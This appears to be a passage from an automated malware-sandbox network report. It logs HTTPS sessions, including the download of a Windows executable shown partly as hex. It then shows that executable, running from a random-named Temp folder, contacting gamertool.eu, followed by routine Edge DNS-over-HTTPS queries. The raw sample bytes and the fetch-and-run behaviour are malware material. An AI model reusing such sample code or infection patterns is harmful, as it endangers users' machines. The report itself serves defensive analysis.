2024-12-27 13:42:48 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:48 GMT Content-Type: application/octet-stream Content-Length: 117248 Connection: close Last-Modified: Fri, 27 Dec 2024 12:59:12 GMT ETag: "676ea4a0-1ca00" X-Content-Type-Options: nosniff Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2283 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k3UgRQi5enIENGFt6L%2FZj6%2BFQNGGKrjXrCUSYbPFkDJQkNNbAKJpTGaVl0Sx1%2BJUAN%2BiJ6FifvnP9fFzX4brOyVOP4HqQprQigRQtv3yxJQQ2wuP1xbGOY%2FQXzrokIPmJYw8yoh9TfQRbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc688f727c94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1927&min_rtt=1920&rtt_var=734&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2861&recv_bytes=846&delivery_rate=1475492&cwnd=240&unsent_bytes=0&cid=b352bc00a6e2c2ee&ts=505&x=0"
2024-12-27 13:42:48 UTC	406	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3a cd 2c a6 7e ac 42 f5 7e ac 42 f5 7e ac 42 f5 35 d4 41 f4 74 ac 42 f5 35 d4 47 f4 f0 ac 42 f5 6f 2a 41 f4 68 ac 42 f5 6f 2a 46 f4 6c ac 42 f5 6f 2a 47 f4 51 ac 42 f5 35 d4 46 f4 6b ac 42 f5 35 d4 43 f4 75 ac 42 f5 7e ac 43 f5 f1 ac 42 f5 ff 2a 4b f4 7d ac 42 f5 ff 2a bd f5 7f ac 42 f5 ff 2a 40 f4 7f ac 42 f5 52 69 63 68 7e ac 42 f5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$:,~B~B~B5AtB5GBoAhBoFlBoGQB5FkB5CuB~CBK}BB@BRich~BPEL
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: 00 00 00 f0 01 00 34 13 00 00 38 9c 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 9b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a3 29 01 00 00 10 00 00 00 2a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 78 00 00 00 40 01 00 00 7a 00 00 00 2e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 15 00 00 00 c0 01 00 00 0c 00 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 e0 01 00 00 02 00 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f Data Ascii: 48px@@p.text)* `.rdatadx@z.@@.data4@.rsrc@@.relo
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: e6 8b 85 78 fe ff ff 89 85 98 fe ff ff 8d 85 5c fe ff ff 50 68 19 00 02 00 89 8d 94 fe ff ff 8d 85 a0 fe ff ff 8b 8d 7c fe ff ff c5 fe 6f 85 a0 fe ff ff 6a 00 89 8d 9c fe ff ff c5 fd ef 85 80 fe ff ff 50 c5 fd 7f 85 a0 fe ff ff 68 00 00 00 80 c5 f8 77 ff 15 0c 40 41 00 85 c0 74 27 0f 57 c0 8b ce 6a 00 0f 11 06 68 a8 9a 41 00 c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 e8 31 11 00 00 e9 bb 04 00 00 8d 85 7c fe ff ff c7 85 7c fe ff ff 04 01 00 00 50 8d 85 d0 fe ff ff 50 6a 00 6a 00 6a 00 ff b5 5c fe ff ff ff 15 08 40 41 00 ff b5 5c fe ff ff 85 c0 0f 84 05 01 00 00 ff 15 04 40 41 00 c7 85 50 fe ff ff 3d 68 94 02 0f 57 c0 c7 85 54 fe ff ff 17 4e ac e0 8b 85 50 fe ff ff 8b 8d 54 fe ff ff c7 85 50 fe ff ff b6 51 b9 0e c7 85 54 fe ff ff be 01 21 82 89 85 90 fe ff Data Ascii: x\Ph\|ojPhw@At'WjhAFF1\|\|PPjjj\@A\@AP=hWTNPTPQT!
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: e5 5d 8b e3 5b c3 e8 dd 09 00 00 e8 96 8a 00 00 cc cc cc cc cc cc cc cc 55 8b ec 83 e4 e0 81 ec fc 02 00 00 a1 00 c0 41 00 33 c4 89 84 24 f8 02 00 00 56 8d 8c 24 b0 00 00 00 e8 d9 f8 ff ff 83 bc 24 c0 00 00 00 00 75 56 8b 8c 24 c4 00 00 00 83 f9 0f 76 30 8b 94 24 b0 00 00 00 41 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ea 06 00 00 51 52 e8 cf 55 00 00 83 c4 08 8b 8c 24 fc 02 00 00 b8 01 00 00 00 5e 33 cc e8 7a 55 00 00 8b e5 5d c2 10 00 c7 44 24 08 55 1c e0 72 c7 44 24 0c 2d 61 83 87 8b 44 24 08 8b 4c 24 0c 89 44 24 20 89 4c 24 24 c7 44 24 08 d7 3c dc 7c c7 44 24 0c ca 6e 4e ee 8b 44 24 08 8b 4c 24 0c 89 44 24 28 89 4c 24 2c c7 44 24 08 31 c6 cd f0 c7 44 24 0c 4d 81 5c ed 8b 44 24 08 8b 4c 24 0c 89 44 24 30 89 4c 24 34 Data Ascii: ][UA3$V$$uV$v0$ArP#+QRU$^3zU]D$UrD$-aD$L$D$ L$$D$<\|D$nND$L$D$(L$,D$1D$M\D$L$D$0L$4
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: 01 00 00 8b 4c 24 0c c7 44 24 08 1f 68 94 02 c7 44 24 0c 17 4e ac e0 89 84 24 d8 01 00 00 8b 44 24 08 89 8c 24 dc 01 00 00 8b 4c 24 0c c7 44 24 08 b6 51 b9 0e c7 44 24 0c be 01 21 82 89 44 24 10 8b 44 24 08 89 4c 24 14 8b 4c 24 0c c7 44 24 08 3d 68 94 02 c7 44 24 0c 17 4e ac e0 89 44 24 18 8b 44 24 08 89 4c 24 1c 8b 4c 24 0c c5 fd 7f 44 24 40 c5 fe 6f 44 24 60 c5 fd ef 84 24 a0 01 00 00 89 84 24 60 01 00 00 89 8c 24 64 01 00 00 c7 44 24 08 b6 51 b9 0e c7 44 24 0c be 01 21 82 8b 44 24 08 8b 4c 24 0c c5 f8 28 4c 24 10 c5 fd 7f 44 24 60 c5 fe 6f 84 24 80 00 00 00 c5 fd ef 84 24 c0 01 00 00 89 84 24 68 01 00 00 8d 84 24 b0 00 00 00 89 8c 24 6c 01 00 00 c5 f0 57 8c 24 60 01 00 00 c5 fd 7f 84 24 80 00 00 00 c5 f8 29 4c 24 10 50 8d 54 24 14 8d 4c 24 24 c5 f8 77 Data Ascii: L$D$hD$N$D$$L$D$QD$!D$D$L$L$D$=hD$ND$D$L$L$D$@oD$`$$`$dD$QD$!D$L$(L$D$`o$$$h$$lW$`$)L$PT$L$$w
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: 21 3d 00 10 00 00 72 09 8d 48 23 3b c8 76 4d eb bf 50 e8 58 4b 00 00 83 c4 04 8b d8 8b 55 fc 8b 4d f8 89 19 56 ff 75 ec 89 51 10 53 89 79 14 e8 22 76 00 00 ff 75 f4 8d 0c 33 ff 75 f0 51 e8 13 76 00 00 8b 45 fc 83 c4 18 5f c6 04 03 00 8b 45 f8 5e 5b 8b e5 5d c3 e8 fa ed ff ff e8 55 ed ff ff e8 8e 7f 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 53 56 8b da 8b f1 8b 55 08 57 8b fa 89 75 fc 8d 4f 01 8a 07 47 84 c0 75 f9 8b 43 14 2b f9 8b 4b 10 2b c1 3b f8 77 27 83 7b 14 0f 8d 04 39 89 43 10 8b c3 76 02 8b 03 57 8d 34 08 52 56 e8 98 75 00 00 c6 04 3e 00 83 c4 0c 8b 75 fc eb 13 57 52 c6 45 fc 00 8b cb ff 75 fc 57 e8 ab 01 00 00 8b d8 0f 57 c0 8b c6 0f 11 06 c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 0f 10 03 5f 0f 11 06 f3 0f 7e 43 10 Data Ascii: !=rH#;vMPXKUMVuQSy"vu3uQvE_E^[]UUSVUWuOGuC+K+;w'{9CvW4RVu>uWREuWWFF_~C
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 88 fa ff ff 89 8d 8c fa ff ff c7 85 18 fb ff ff 9c 26 86 eb c7 85 1c fb ff ff 7a 45 a7 48 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 90 fa ff ff 89 8d 94 fa ff ff c7 85 18 fb ff ff a1 2c b7 60 c7 85 1c fb ff ff c3 26 35 a8 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 98 fa ff ff 89 8d 9c fa ff ff c7 85 18 fb ff ff e7 70 6a 3c c7 85 1c fb ff ff 9c 71 99 02 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 a0 fa ff ff 89 8d a4 fa ff ff c7 85 18 fb ff ff cd 2f 57 96 c7 85 1c fb ff ff 5a 0f a3 90 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 a8 fa ff ff 89 8d ac fa ff ff c7 85 18 fb ff ff cd a4 0a 86 c7 85 1c fb ff ff 6d 6d c7 be 8b 85 18 fb ff ff 8b 8d 1c fb ff ff 89 85 b0 fa ff ff 89 8d b4 fa ff ff c7 85 18 fb ff ff fb 3e 46 c0 c7 Data Ascii: &zEH,`&5pj<q/WZmm>F
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: fb ff ff 51 50 8b cf e8 e8 f6 ff ff 8b 8d 38 fb ff ff 83 f9 0f 0f 86 d6 02 00 00 8b 95 24 fb ff ff 41 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 d6 02 00 00 51 52 e8 a6 40 00 00 83 c4 08 e9 a2 02 00 00 83 7e 14 0f 76 02 8b 36 6a 00 68 00 00 00 80 6a 00 6a 00 56 50 ff 15 50 41 41 00 89 85 f8 fa ff ff 85 c0 0f 85 43 01 00 00 ff b5 f4 fa ff ff ff 15 4c 41 41 00 c7 85 18 fb ff ff 4b c2 23 5d 0f 57 c0 c7 85 1c fb ff ff 24 e0 c3 30 8b 85 18 fb ff ff 8b 8d 1c fb ff ff c7 85 18 fb ff ff a0 62 f5 ad c7 85 1c fb ff ff 21 c9 e1 d1 89 85 00 fb ff ff 8b 85 18 fb ff ff 89 8d 04 fb ff ff 8b 8d 1c fb ff ff c7 85 18 fb ff ff 4b c2 23 5d c7 85 1c fb ff ff 24 e0 c3 30 89 85 08 fb ff ff 8b 85 18 fb ff ff 89 8d 0c fb ff ff 8b 8d 1c fb ff ff Data Ascii: QP8$ArP#+QR@~v6jhjjVPPAACLAAK#]W$0b!K#]$0
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: c0 8d 4d a8 c7 06 e4 41 41 00 f3 0f 7e 45 d0 66 0f d6 45 b8 0f 57 c0 83 7d bc 0f 66 0f 7e c8 66 0f d6 46 04 0f 11 4d a8 0f 47 c8 c7 45 d0 00 00 00 00 8d 46 04 c7 45 d4 0f 00 00 00 50 8d 45 e0 c6 45 c0 00 50 89 4d e0 c6 45 e4 01 e8 da 4c 00 00 8b 4d bc 83 c4 08 c7 06 30 42 41 00 83 f9 0f 76 28 8b 55 a8 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 43 51 52 e8 0d 3b 00 00 83 c4 08 8b 4b 0c 8b c6 8b 53 10 c7 06 38 9b 41 00 89 4e 0c 89 56 10 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d ec 33 cd e8 a1 3a 00 00 8b e5 5d 8b e3 5b c2 0c 00 e8 26 6f 00 00 e8 21 6f 00 00 cc cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 e4 41 41 00 50 e8 ae 4c 00 00 83 c4 04 f6 45 08 01 74 0b 6a 14 56 e8 a3 3a 00 00 83 c4 08 8b c6 5e 5d c2 04 00 55 8b ec 83 Data Ascii: MAA~EfEW}f~fFMGEFEPEEPMELM0BAv(UArP#+wCQR;KS8ANVMdY_^M3:][&o!oUVFAAPLEtjV:^]U
2024-12-27 13:42:48 UTC	1369	IN	Data Raw: f0 e8 1c fa 00 00 03 f0 8b 45 f4 13 fa 89 78 04 5f 89 30 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 6e 36 41 00 64 a1 00 00 00 00 50 53 83 ec 20 a1 00 c0 41 00 33 c5 89 45 ec 56 57 50 8d 45 f4 64 a3 00 00 00 00 89 55 d8 8b f1 89 75 d0 c7 45 dc 00 00 00 00 0f 57 c0 0f 11 06 c7 46 10 00 00 00 00 33 c0 c7 46 14 00 00 00 00 c7 46 10 00 00 00 00 c7 46 14 07 00 00 00 66 89 06 89 45 fc 8b 43 0c c7 45 dc 01 00 00 00 85 c0 0f 84 b6 00 00 00 3d ff ff ff 7f 0f 87 cb 00 00 00 6a 00 6a 00 50 ff 73 08 52 e8 f7 30 00 00 8b c8 89 4d e0 85 d2 0f 85 b5 00 00 00 8b 7e 10 3b cf 77 15 89 4e 10 8b c6 83 7e 14 07 76 02 8b 06 33 d2 66 89 14 48 eb 56 8b 46 14 8b d1 2b d7 2b c7 3b d0 77 35 83 7e 14 07 8b Data Ascii: Ex_0^[]SUkl$jhn6AdPS A3EVWPEdUuEWF3FFFfECE=jjPsR0M~;wN~v3fHVF++;w5~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	172.67.161.29	443	3796	C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:55 UTC	211	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3 Cache-Control: no-cache Host: gamertool.eu Connection: Keep-Alive
2024-12-27 13:42:56 UTC	844	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PHDZBldfkuXT6CJZ6SMDaUtMsnZi8xDobbxlBCnoYwO1NhtzWOP1C%2FQwt794%2BBQBjvZ%2BOFY5bDSJjQpB5LJOIocJf4PDs9L369gBmnXvbED%2FJeSBmarBXykSyi%2BTfnQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc963d49f793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1673&rtt_var=633&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=825&delivery_rate=1720683&cwnd=152&unsent_bytes=0&cid=6c943847686e1cd0&ts=1281&x=0"
2024-12-27 13:42:56 UTC	49	IN	Data Raw: 32 62 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 77 6a 49 75 53 5f 72 51 51 73 59 0d 0a Data Ascii: 2bhttps://www.youtube.com/watch?v=wjIuS_rQQsY
2024-12-27 13:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49768	162.159.61.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:04 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 13:43:04 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:04 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bccbdc39420b-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:04 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 15 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49771	162.159.61.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:04 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 13:43:04 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:04 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bccc2bb17d0c-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:04 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d3 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49770	172.64.41.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:04 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 13:43:04 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:04 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bccbdc8b4245-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:04 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49769	172.64.41.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:04 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49774	162.159.61.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:04 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 13:43:04 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:04 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bcce5c446a59-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 13:43:04 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bf 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49776	162.159.61.3	443	7216	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:43:04 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 13:43:04 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 13:43:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 13:43:04 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f89bccfca5e42ca-EWR alt-svc: h3=":443"; ma=86400
